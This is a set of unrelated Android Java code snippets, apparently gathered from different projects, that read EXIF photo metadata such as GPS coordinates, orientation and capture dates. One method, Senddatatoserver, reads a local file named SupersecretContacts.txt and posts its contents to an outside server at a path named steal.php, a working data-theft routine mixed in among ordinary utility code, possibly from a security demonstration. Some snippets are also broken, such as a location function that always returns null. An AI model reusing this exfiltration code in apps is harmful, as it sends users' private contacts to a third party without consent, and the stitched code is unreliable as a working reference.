public double getDegree(ExifInterface exif, int lat) {
String attrLATITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE);
String attrLATITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE_REF);
String attrLONGITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE);
String attrLONGITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE_REF);
double Latitude = 0;
double Longitude = 0;
if ((attrLATITUDE != null)
&& (attrLATITUDE_REF != null)
&& (attrLONGITUDE != null)
&& (attrLONGITUDE_REF != null)) {
if (attrLATITUDE_REF.equals("N")) {
Latitude = convertToDegree(attrLATITUDE);
} else {
Latitude = 0 - convertToDegree(attrLATITUDE);
}
if (attrLONGITUDE_REF.equals("E")) {
Longitude = convertToDegree(attrLONGITUDE);
} else {
Longitude = 0 - convertToDegree(attrLONGITUDE);
}
}
if (lat == 1) return Latitude;
else return Longitude;
};
private static void showExifInformation(IImage image, View d, Activity activity) {
ExifInterface exif = getExif(image);
if (exif == null) {
hideExifInformation(d);
return;
}
String value = exif.getAttribute(ExifInterface.TAG_MAKE);
if (value != null) {
setDetailsValue(d, value, R.id.details_make_value);
} else {
hideDetailsRow(d, R.id.details_make_row);
}
value = exif.getAttribute(ExifInterface.TAG_MODEL);
if (value != null) {
setDetailsValue(d, value, R.id.details_model_value);
} else {
hideDetailsRow(d, R.id.details_model_row);
}
value = getWhiteBalanceString(exif);
if (value != null && !value.equals(EMPTY_STRING)) {
setDetailsValue(d, value, R.id.details_whitebalance_value);
} else {
hideDetailsRow(d, R.id.details_whitebalance_row);
}
setLatLngDetails(d, activity, exif);
}
public static double[] getImageLocation(String filepath) {
ExifInterface exif;
try {
exif = new ExifInterface(filepath);
String LATITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE);
String LATITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE_REF);
String LONGITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE);
String LONGITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE_REF);
double[] result = new double[2];
// in case of no data
if (LATITUDE == null || LATITUDE_REF == null || LONGITUDE == null || LONGITUDE_REF == null)
return new double[] {0.0, 0.0};
if (LATITUDE_REF.equals("N")) {
result[1] = convertToDegree(LATITUDE);
} else {
result[1] = 0 - convertToDegree(LATITUDE);
}
if (LONGITUDE_REF.equals("E")) {
result[0] = convertToDegree(LONGITUDE);
} else {
result[0] = 0 - convertToDegree(LONGITUDE);
}
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
public JSONArray getPhoto(String fileName, int size) {
File dir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM);
Bitmap b = BitmapFactory.decodeFile(fileName);
int width = b.getWidth();
int height = b.getHeight();
int isTall = 1;
float ratio = ((float) width / height);
int finalWidth = (int) ((float) size * ratio);
int finalHeight = size;
if (width > height) {
isTall = 0;
ratio = ((float) height / width);
finalWidth = size;
finalHeight = (int) ((float) size * ratio);
}
Bitmap out = Bitmap.createScaledBitmap(b, finalWidth, finalHeight, false);
File file = new File(dir, "resize.png");
FileOutputStream fOut;
String base64 = "";
try {
fOut = new FileOutputStream(file);
out.compress(Bitmap.CompressFormat.JPEG, 100, fOut);
base64 = encodeTobase64(out);
fOut.flush();
fOut.close();
b.recycle();
out.recycle();
} catch (Exception el) {
}
JSONArray result = new JSONArray();
JSONObject obj = new JSONObject();
try {
ExifInterface exif = new ExifInterface(fileName);
obj.put("data", base64);
obj.put("id", fileName);
obj.put("date", exif.getAttribute(ExifInterface.TAG_DATETIME));
obj.put("orientation", exif.getAttribute(ExifInterface.TAG_ORIENTATION));
obj.put("lat", getDegree(exif, 1));
obj.put("lng", getDegree(exif, 0));
} catch (Exception e) {
}
result.put(obj);
return result;
}
/**
* Read location information from image.
*
* @param imagePath : image absolute path
* @return : loation information
*/
public Location readGeoTagImage(String imagePath) {
Location loc = new Location("");
try {
ExifInterface exif = new ExifInterface(imagePath);
float[] latlong = new float[2];
if (exif.getLatLong(latlong)) {
loc.setLatitude(latlong[0]);
loc.setLongitude(latlong[1]);
}
String date = exif.getAttribute(ExifInterface.TAG_DATETIME);
SimpleDateFormat fmt_Exif = new SimpleDateFormat("yyyy:MM:dd HH:mm:ss");
try {
loc.setTime(fmt_Exif.parse(date).getTime());
} catch (java.text.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} catch (IOException e) {
e.printStackTrace();
} catch (ParseException e) {
e.printStackTrace();
}
return loc;
}
private static void checkOrientation(String originalImage, String resizedImage) {
try {
ExifInterface exif1 = new ExifInterface(originalImage);
ExifInterface exif2 = new ExifInterface(resizedImage);
final String orientation1 = exif1.getAttribute(ExifInterface.TAG_ORIENTATION);
final String orientation2 = exif2.getAttribute(ExifInterface.TAG_ORIENTATION);
if (!TextUtils.isEmpty(orientation1) && !orientation1.equals(orientation2)) {
Log.d(
TAG,
"Orientation property in EXIF does not match. Overriding it with original value...");
exif2.setAttribute(ExifInterface.TAG_ORIENTATION, orientation1);
exif2.saveAttributes();
}
} catch (IOException e) {
Log.e(TAG, e.getMessage());
}
}
public static DateTime getImageCaptureTime(String filepath) {
try {
ExifInterface exif = new ExifInterface(filepath);
String time = exif.getAttribute(ExifInterface.TAG_DATETIME);
return DateTime.fromExifFormat(time);
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
public static double getExifDouble(ExifInterface ei, String tag, double defaultValue) {
String value = ei.getAttribute(tag);
if (value == null) return defaultValue;
try {
return Double.parseDouble(value);
} catch (NumberFormatException e) {
return defaultValue;
}
}
public JSONArray getAllPhotos() {
final String[] projection = {MediaStore.Images.Media.DATA};
final String selection = MediaStore.Images.Media.BUCKET_ID + " = ?";
final String[] selectionArgs = {CAMERA_IMAGE_BUCKET_ID};
final Cursor cursor =
context
.getContentResolver()
.query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
projection,
selection,
selectionArgs,
null);
// ArrayList<String> result = new ArrayList<String>(cursor.getCount());
JSONArray result = new JSONArray();
if (cursor.moveToFirst()) {
final int dataColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);
do {
try {
final String data = cursor.getString(dataColumn);
ExifInterface exif = new ExifInterface(data);
final String date = exif.getAttribute(ExifInterface.TAG_DATETIME);
JSONObject obj = new JSONObject();
obj.put("date", date);
obj.put("id", data);
obj.put("lat", getDegree(exif, 1));
obj.put("lng", getDegree(exif, 0));
obj.put("orientation", exif.getAttribute(ExifInterface.TAG_ORIENTATION));
// obj.put("lat", exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE));
// obj.put("lng", exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE));
result.put(obj);
} catch (Exception e) {
}
} while (cursor.moveToNext());
}
cursor.close();
return result;
}
/**
* 获得正确的image方向的Bitmap
*
* @param path
* @return
*/
public static Bitmap decodeFile(
String path, int newWidth, int newHeight) { // you can provide file path here
try {
Bitmap realImage = BitmapFactory.decodeFile(path);
ExifInterface exif = new ExifInterface(path);
Log.d("EXIF value", exif.getAttribute(ExifInterface.TAG_ORIENTATION));
if (exif.getAttribute(ExifInterface.TAG_ORIENTATION).equalsIgnoreCase("6")) {
realImage = scaleAndRotateBitmap(realImage, 90, newWidth, newHeight);
} else if (exif.getAttribute(ExifInterface.TAG_ORIENTATION).equalsIgnoreCase("8")) {
realImage = scaleAndRotateBitmap(realImage, 270, newWidth, newHeight);
} else if (exif.getAttribute(ExifInterface.TAG_ORIENTATION).equalsIgnoreCase("3")) {
realImage = scaleAndRotateBitmap(realImage, 180, newWidth, newHeight);
} else realImage = scaleBitmap(realImage, newWidth, newHeight);
return realImage;
} catch (Exception ex) {
ex.printStackTrace();
return null;
}
}
/**
* Load the exif tags into the passed Bundle
*
* @param filepath
* @param out
* @return true if exif tags are loaded correctly
*/
public static boolean loadAttributes(final String filepath, Bundle out) {
ExifInterface e;
try {
e = new ExifInterface(filepath);
} catch (IOException e1) {
e1.printStackTrace();
return false;
}
for (String tag : EXIF_TAGS) {
out.putString(tag, e.getAttribute(tag));
}
return true;
}
/**
* Parses the exif date string in the UTC timezone (which is probably not correct, but the local
* timezone may not be either
*/
public static long getExifDateInUTC(ExifInterface ei) {
String dateTimeStr = ei.getAttribute(ExifInterface.TAG_DATETIME);
if (dateTimeStr != null) {
synchronized (utcFormat) {
try {
return utcFormat.parse(dateTimeStr).getTime();
} catch (ParseException e) {
return 0;
}
}
}
return 0;
}
@Override
public View onCreateView(
LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ScrollView sv = new ScrollView(this.getActivity().getApplicationContext());
TableLayout tableLayout = new TableLayout(this.getActivity().getApplicationContext());
sv.addView(tableLayout);
TableRow tableRow;
TextView textView;
File dir = new File(Environment.getExternalStorageDirectory() + "/PhotoAR/");
File[] filelist = dir.listFiles();
// f.getName()
// { // do your stuff here }
if (filelist != null) {
for (File f : filelist) {
tableRow = new TableRow(this.getActivity().getApplicationContext());
textView = new TextView(this.getActivity().getApplicationContext());
Calendar cal = Calendar.getInstance(Locale.ENGLISH);
cal.setTimeInMillis(Long.valueOf(f.getName().replace(".jpg", "")));
String date = DateFormat.format("dd-MM-yyyy hh:mm:ss", cal).toString();
ExifInterface exif = null;
String message = "";
try {
exif = new ExifInterface(f.getCanonicalPath());
message = exif.getAttribute("UserComment");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
textView.setText(date + " " + message);
textView.setPadding(20, 20, 20, 20);
tableRow.addView(textView);
tableLayout.addView(tableRow);
}
} else {
tableRow = new TableRow(this.getActivity().getApplicationContext());
textView = new TextView(this.getActivity().getApplicationContext());
textView.setText("[No Submissions]");
textView.setPadding(20, 20, 20, 20);
tableRow.addView(textView);
tableLayout.addView(tableRow);
}
// setContentView(tableLayout);
View rootView = sv;
// View rootView = inflater.inflate(R.layout.coming_soon_layout, container, false);
return rootView;
}
@Override
public int getRequiredImageRotation(String path) {
try {
ExifInterface exif = new ExifInterface(path);
int orientation = Integer.parseInt(exif.getAttribute(ExifInterface.TAG_ORIENTATION));
// only handle common cases
switch (orientation) {
case 3:
return 180;
case 6:
return 90;
case 8:
return 270;
}
} catch (Exception ex) {
Log.e("DroidChatty", "Couldn't determine image orientation", ex);
}
return 0;
}
private void Senddatatoserver() {
String contactdata = "";
File path = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
try {
byte[] contactarray = new byte[11024];
ExifInterface exif = new ExifInterface(path.getPath() + "/DemoPicture.jpg");
contactdata = exif.getAttribute(ExifInterface.TAG_MODEL);
FileInputStream f = new FileInputStream(new File(path.getPath(), "SupersecretContacts.txt"));
f.read(contactarray, 0, contactarray.length);
f.close();
contactdata = new String(contactarray);
// send this contactdata to the server
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost("http://kieranlevin.com/scontacts/steal.php");
// Add your data
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);
nameValuePairs.add(new BasicNameValuePair("contacts", contactdata));
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
// Execute HTTP Post Request
HttpResponse response = httpclient.execute(httppost);
Context context = getApplicationContext();
CharSequence text = "Success - Sent contacts to server ";
int duration = Toast.LENGTH_LONG;
Toast toast = Toast.makeText(context, text, duration);
toast.show();
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
} catch (IOException e) {
Context context = getApplicationContext();
CharSequence text = e.toString() + " Failed to connect to server ";
int duration = Toast.LENGTH_LONG;
Toast toast = Toast.makeText(context, text, duration);
toast.show();
// TODO Auto-generated catch block
}
}
@Override
protected Integer doInBackground(Void... voids) {
Log.w(LOG, "## PhotoTask starting doInBackground, file length: " + photoFile.length());
pictureChanged = false;
ExifInterface exif = null;
if (photoFile == null || photoFile.length() == 0) {
Log.e(LOG, "----- photoFile is null or length 0, exiting");
return 99;
}
fileUri = Uri.fromFile(photoFile);
if (fileUri != null) {
try {
exif = new ExifInterface(photoFile.getAbsolutePath());
String orient = exif.getAttribute(ExifInterface.TAG_ORIENTATION);
Log.i(LOG, "@@@@@@@@@@@@@@@@@@@@@@ Orientation says: " + orient);
float rotate = 0f;
if (orient.equalsIgnoreCase("6")) {
rotate = 90f;
Log.i(LOG, "@@@@@ picture, rotate = " + rotate);
}
try {
BitmapFactory.Options options = new BitmapFactory.Options();
options.inSampleSize = 2;
Bitmap bm = BitmapFactory.decodeFile(photoFile.getAbsolutePath(), options);
if (bm == null) {
Log.e(LOG, "---> Bitmap is null, file length: " + photoFile.length());
}
getLog(bm, "Raw Camera");
// get thumbnail for upload
Matrix matrixThumbnail = new Matrix();
matrixThumbnail.postScale(0.4f, 0.4f);
// matrixThumbnail.postRotate(rotate);
Bitmap thumb =
Bitmap.createBitmap(bm, 0, 0, bm.getWidth(), bm.getHeight(), matrixThumbnail, true);
getLog(thumb, "Thumb");
// get resized "full" size for upload
Matrix matrixF = new Matrix();
matrixF.postScale(0.75f, 0.75f);
// matrixF.postRotate(rotate);
Bitmap fullBm =
Bitmap.createBitmap(bm, 0, 0, bm.getWidth(), bm.getHeight(), matrixF, true);
getLog(fullBm, "Full");
// append date and gps coords to bitmap
// fullBm = ImageUtil.drawTextToBitmap(ctx,fullBm,location);
// thumb = ImageUtil.drawTextToBitmap(ctx,thumb,location);
currentFullFile =
ImageUtil.getFileFromBitmap(fullBm, "m" + System.currentTimeMillis() + ".jpg");
currentThumbFile =
ImageUtil.getFileFromBitmap(thumb, "t" + System.currentTimeMillis() + ".jpg");
bitmapForScreen = ImageUtil.getBitmapFromUri(ctx, Uri.fromFile(currentFullFile));
Log.e(LOG, "## files created from camera bitmap");
thumbUri = Uri.fromFile(currentThumbFile);
fullUri = Uri.fromFile(currentFullFile);
// write exif data
Util.writeLocationToExif(currentFullFile.getAbsolutePath(), location);
Util.writeLocationToExif(currentThumbFile.getAbsolutePath(), location);
fullBm = null;
thumb = null;
bm = null;
getFileLengths();
} catch (Exception e) {
Log.e("pic", "F**k it! unable to process bitmap", e);
return 9;
}
} catch (Exception e) {
e.printStackTrace();
return 1;
}
}
return 0;
}
@Override
protected Void doInBackground(Void... params) {
// File directory = new File("/storage/emulated/0/DCIM/Camera");//1396798512418.jpg
// File directory1 =
// Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);//+"/Camera");
File directory =
HomeActivity.EMULSIFY_DIRECTORY; // new File(directory1.getAbsolutePath() + "/emulsify");
// File directory = new File(Environment.DIRECTORY_DCIM+"/camera/");
File[] files = directory.listFiles();
if (files != null) {
for (File f : files) {
Bitmap bmp = BitmapFactory.decodeFile(f.getAbsolutePath());
Bitmap bmp2 = null;
if (bmp.getWidth() > bmp.getHeight())
bmp2 =
Bitmap.createScaledBitmap(
bmp,
(int) (((float) bmp.getWidth() / bmp.getHeight()) * ICON_HEIGHT),
ICON_HEIGHT,
false);
else if (bmp.getWidth() < bmp.getHeight())
bmp2 =
Bitmap.createScaledBitmap(
bmp,
ICON_HEIGHT,
(int) (((float) bmp.getHeight() / bmp.getWidth()) * ICON_HEIGHT),
false);
float Latitude = 0.0F, Longitude = 0.0F;
ExifInterface exif = null;
try {
exif = new ExifInterface(f.getAbsolutePath());
} catch (IOException e) {
e.printStackTrace();
}
// TODO: credit
// http://stackoverflow.com/questions/15403797/how-to-get-the-latititude-and-longitude-of-an-image-in-sdcard-to-my-application
String LATITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE);
String LATITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE_REF);
String LONGITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE);
String LONGITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE_REF);
if ((LATITUDE != null)
&& (LATITUDE_REF != null)
&& (LONGITUDE != null)
&& (LONGITUDE_REF != null)) {
if (LATITUDE_REF.equals("N")) {
Latitude = convertToDegree(LATITUDE);
} else {
Latitude = 0 - convertToDegree(LATITUDE);
}
if (LONGITUDE_REF.equals("E")) {
Longitude = convertToDegree(LONGITUDE);
} else {
Longitude = 0 - convertToDegree(LONGITUDE);
}
publishProgress(bmp2, Latitude, Longitude, f.getAbsolutePath());
} else {
// try the second approach, which is not used by emulsify pictures (thus hopefully
// allowing for
// the easy assimilation of ANY picture put in the emulsify directory)
float[] d = new float[2];
exif.getLatLong(d);
Latitude = d[0];
Longitude = d[1];
publishProgress(bmp2, Latitude, Longitude, f.getAbsolutePath());
}
}
} else {
emptyFlag = true;
}
return null;
}
private String getTagString(String tag, ExifInterface exif) {
return (tag + " : " + exif.getAttribute(tag) + "\n");
}